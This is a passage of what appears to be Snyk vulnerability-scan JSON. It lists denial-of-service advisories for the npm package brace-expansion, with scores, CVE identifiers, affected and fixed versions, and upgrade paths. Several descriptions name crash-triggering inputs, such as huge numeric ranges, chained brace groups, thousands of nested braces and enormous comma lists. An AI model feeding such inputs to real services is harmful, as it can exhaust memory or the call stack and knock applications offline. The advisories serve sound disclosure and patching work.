"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": 